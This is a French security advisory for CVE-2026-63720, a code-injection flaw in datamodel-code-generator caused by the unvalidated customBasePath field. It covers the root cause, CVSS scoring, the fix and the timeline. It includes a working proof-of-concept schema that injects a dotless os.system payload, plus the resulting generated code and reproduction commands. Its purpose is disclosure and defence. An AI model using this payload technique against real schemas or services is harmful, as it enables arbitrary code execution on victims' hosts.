
Injection de code (RCE) dans datamodel-code-generator via customBasePath non validé (CVE-2026-63720)
Sévérité : Élevée, CVSS 3.1 7.5 / CVSS 4.0 7.5 (attribué par VulnCheck, l'organisme CNA)
Plafond environnemental (déploiement en service réseau) : jusqu'à 9.8
Vecteur (v4.0) : CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vecteur (v3.1) : CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Versions concernées : datamodel-code-generator < 0.70.0
Corrigé dans : 0.70.0
CWE : CWE-94 (Contrôle inadéquat de la génération de code, « Injection de code »)
Signalé par : Rahul Karne
CNA : VulnCheck
Publié : 26 juillet 2026
datamodel-code-generator validait chaque chaîne d'importation contrôlée par le schéma qui pouvait transporter une charge utile d'injection de code, sauf une.
L'outil convertit un schéma d'entrée (JSON Schema, OpenAPI, YAML) en code source de modèles Python. Plusieurs champs du schéma sont rendus directement dans ce code généré, c'est pourquoi le projet les valide comme identifiants Python en pointillés avant utilisation, précisément pour empêcher l'injection. Le champ d'extension de schéma customBasePath est le seul champ apparenté qui contourne cette vérification. Sa valeur circule sans assainissement dans une instruction from ... import ... à la sortie générée. Un attaquant qui contrôle le schéma d'entrée peut intégrer du code Python arbitraire à l'aide de sauts de ligne et d'une expression sans point, et ce code s'exécute au moment où le module généré est importé, ce qui est l'étape suivante normale après la génération des modèles.
Il s'agit d'un correctif incomplet de CVE-2026-55415 (GHSA-5578-w22f-pfx9), qui avait durci les champs apparentés customTypePath et x-python-import contre cette classe d'attaque exacte. Ce correctif ne couvrait pas customBasePath, qui atteint le même point de chute non validé et restait exploitable jusqu'à la version 0.68.1 et sur la branche main jusqu'à la version 0.70.0.
Exécution de code Python arbitraire dans le processus qui importe ou exécute les modèles générés : la machine du développeur, un exécuteur CI, ou tout service qui génère puis charge des modèles. La confidentialité, l'intégrité et la disponibilité de l'hôte sont entièrement compromises, limitées uniquement par les privilèges de ce processus.
La sévérité dépend entièrement de l'endroit où la génération de code s'exécute sur des entrées non fiables :
Qui est concerné : Toute utilisation de datamodel-code-generator < 0.70.0 qui (1) génère des modèles à partir d'un schéma dont la valeur customBasePath est influencée par un attaquant, et (2) importe ou exécute le module généré. Le flux de travail par défaut génération-puis-importation satisfait (2) de manière inhérente.
Qui n'est pas concerné :
0.70.0 ou une version ultérieure, où customBasePath est validé.| Métrique | Valeur | Source |
|---|---|---|
| Téléchargements, tous temps confondus |
La valeur du champ de schéma customBasePath est transportée dans le code généré sans contrainte d'identifiant. Trois points du code source importent (chemins relatifs à src/datamodel_code_generator/) :
parser/jsonschema.py définit le champ custom_base_path avec alias="customBasePath" (~ligne 644), consommé via _resolve_base_class(...) à plusieurs endroits d'appel.parser/base.py, _resolve_base_class (~ligne 1665), renvoie la valeur après seulement un normalize() local (déduplication/suppression des espaces). Aucune validation d'identifiant n'est appliquée.imports.py, Import.from_full_path() (~ligne 35), émet la valeur telle quelle sous forme de ligne from ... import .... La valeur est également utilisée comme classe de base dans model/base.py set_base_class (~ligne 1324) et rendue brute par le modèle de template ().Comme la valeur est écrite dans le code source Python sans contrainte, les sauts de ligne intégrés et une expression sans point survivent dans la sortie sous forme de lignes individuelles analysables, et la ligne du milieu s'exécute à l'importation.
La charge utile est sans point par nécessité. Import.from_full_path divise la valeur sur ., donc un appel os.system(...) normal serait décomposé. Utiliser getattr(__import__('os'),'system')(...) évite tout . tout en résolvant le même appel, et les sauts de ligne environnants maintiennent les lignes from ... import ... émises syntaxiquement valides, de sorte que la ligne du milieu injectée s'exécute proprement.
Ce n'est pas un projet qui a négligé l'injection. Le mainteneur a durci cette classe d'attaque exacte à plusieurs reprises à travers de multiples avis (GHSA-5578, m34r, 8m8r, wjv6), en faisant passer à chaque fois une chaîne d'importation ou de type contrôlée par le schéma par _validate_dotted_python_identifier_path avant qu'elle n'atteigne la génération de code. Les champs apparentés customTypePath (validé à parser/jsonschema.py ~lignes 4956, 5202) et x-python-import (~ligne 2096) passent tous deux par ce validateur.
customBasePath est le seul champ apparenté sans un tel appel. Il atteint le même point de chute Import.from_full_path par un chemin différent (_resolve_base_class) qui n'a jamais été câblé dans la validation que les autres champs ont reçue. Le défaut a survécu précisément parce que la défense environnante semblait complète : un relecteur recherchant des chaînes d'importation non validées voit des validateurs sur les champs qu'il vérifie en premier, et celui-ci passe par une fonction d'assistance qui ressemble à une résolution de classe de base plutôt qu'à un traitement d'importation. C'est une lacune dans un correctif systématique, et non une absence de correctif, ce qui explique pourquoi elle a persisté jusqu'à la dernière version.
Un attaquant a besoin :
< 0.70.0.customBasePath dans un schéma que la cible traitera, en pratique en fournissant ou en influençant le schéma d'entrée (un document OpenAPI/JSON Schema tiers, ou un schéma soumis à un service).Aucune authentification ni privilège élevé n'est requis de la part de l'attaquant (PR:N). Le score de base reflète le fait que la victime effectue l'action ordinaire de génération et d'importation (UI:R en v3.1 / UI:A en v4.0) ; le déploiement en service réseau supprime même cela, d'où le 9.8 environnemental.
Ce qui suit a été exécuté contre le paquet réel et non modifié. Reproduction :
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
Entrée de l'attaquant (attack.json) :
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
generated_models.py généré sur la version vulnérable (0.68.1) :
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
L'appel de l'attaquant est émis tel quel dans le code source généré.
À l'importation : la commande s'exécute. Dans l'exécution vérifiée, le marqueur injecté a été affiché sur stdout et RCE_PROOF.txt a été créé contenant l'utilisateur courant (root), confirmant l'exécution arbitraire de commandes via le flux de travail ordinaire de génération et d'importation.
Sur la version corrigée (0.70.0) : le même schéma est rejeté avant qu'aucun code ne soit généré :
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
Aucun fichier n'est produit. Le message de rejet nomme directement le correctif : la valeur doit désormais être un chemin d'identifiant Python en pointillés.
Variante de service réseau. Un service HTTP de boucle locale non authentifié qui accepte un schéma POSTé, génère des modèles et les importe, a démontré l'exécution de la commande de l'attaquant sur le serveur à partir d'un seul curl non authentifié, sans aucune interaction de l'utilisateur. C'est la forme de déploiement derrière le 9.8 environnemental. Les fichiers du service et de l'attaque sont inclus dans le dépôt de la PoC.
Mettez à niveau vers datamodel-code-generator 0.70.0 ou une version ultérieure :
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 fait passer customBasePath par la même validation d'identifiant en pointillés déjà appliquée à customTypePath et x-python-import, de sorte qu'une valeur qui n'est pas un chemin d'identifiant valide est rejetée avant la génération de code.
Si vous ne pouvez pas mettre à niveau immédiatement : ne générez pas de modèles à partir de schémas que vous ne contrôlez pas entièrement, et n'importez ni n'exécutez des modules générés à partir de schémas non fiables. Il n'existe aucun indicateur de configuration qui ajoute la validation manquante dans les versions concernées ; la mise à niveau est le correctif fiable.
Note pour quiconque réutilise les composants internes du générateur. Le défaut était un appel de validation manquant sur un chemin de code vers Import.from_full_path, et non une faille du point de chute lui-même. Tout projet en aval qui rend des chaînes contrôlées par un schéma dans du code généré devrait valider chacun de ces champs comme un identifiant en pointillés, et pas seulement ceux qui passent par le chemin évident de traitement des importations.
VulnCheck (l'organisme CNA) a attribué 7.5 (Élevée), correspondant au vecteur de base utilisé par le mainteneur pour l'avis parent CVE-2026-55415, car il s'agit de la même classe d'injection, du même point de chute Import.from_full_path et du même impact.
AV:N : les schémas sont couramment obtenus via le réseau (documents OpenAPI / JSON Schema récupérés ou tiers).AC:H : l'exploitation dépend de la génération par la victime de modèles à partir du schéma malveillant, puis de l'importation ou de l'exécution du code généré.PR:N / UI:R (v3.1) : aucun privilège d'attaquant ; la victime effectue le flux de travail ordinaire de génération et d'importation.C:H / I:H / A:H : exécution de code arbitraire complète sur l'hôte.Le plafond environnemental est de 9.8
(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) et s'applique spécifiquement au déploiement en service réseau, où le générateur est exposé à des schémas non fiables et où aucune interaction de la victime n'est requise. Ce chiffre est une note environnementale pour ce déploiement, et non le score de base attribué. Indiquer les deux, et être explicite sur ce qui est quoi, est le cadrage honnête : la base est de 7.5, et elle n'atteint 9.8 que dans le cas d'un service exposé.
| Date | Événement |
|---|
Découverte et signalement par Rahul Karne, chercheur en sécurité et membre senior de l'IEEE. Ses recherches portent sur les failles d'injection et de traitement des entrées dans les paquets open source à forte dépendance, notamment CVE-2026-65321 (injection SQL dans PyAthena) et le durcissement de la classe parente autour de cette découverte.
Contact : [email protected] · GitHub : rahulreddykarne
545a96c5 : https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5Demandes des médias : [email protected]. PoC complète (schéma de l'attaquant, démo de service réseau) et détails techniques supplémentaires disponibles sur demande.
| 194 millions |
| pepy.tech/projects/datamodel-code-generator |
| Téléchargements, 30 derniers jours | 16,3 millions | pepy.tech |
| Déploiement typique | Machines de développeurs, pipelines CI/CD et plateformes de génération de SDK qui génèrent du code à partir d'OpenAPI / JSON Schema | inhérent à la fonction de l'outil |
class {{ class_name }}({{ base_class }}):| 13 juillet 2026 | Vulnérabilité identifiée |
| 14 juillet 2026 | Signalement (divulgation coordonnée) |
| 21 juillet 2026 | Correctif validé (545a96c5) |
| 24 juillet 2026 | Version corrigée 0.70.0 publiée |
| 26 juillet 2026 | CVE-2026-63720 publiée par VulnCheck |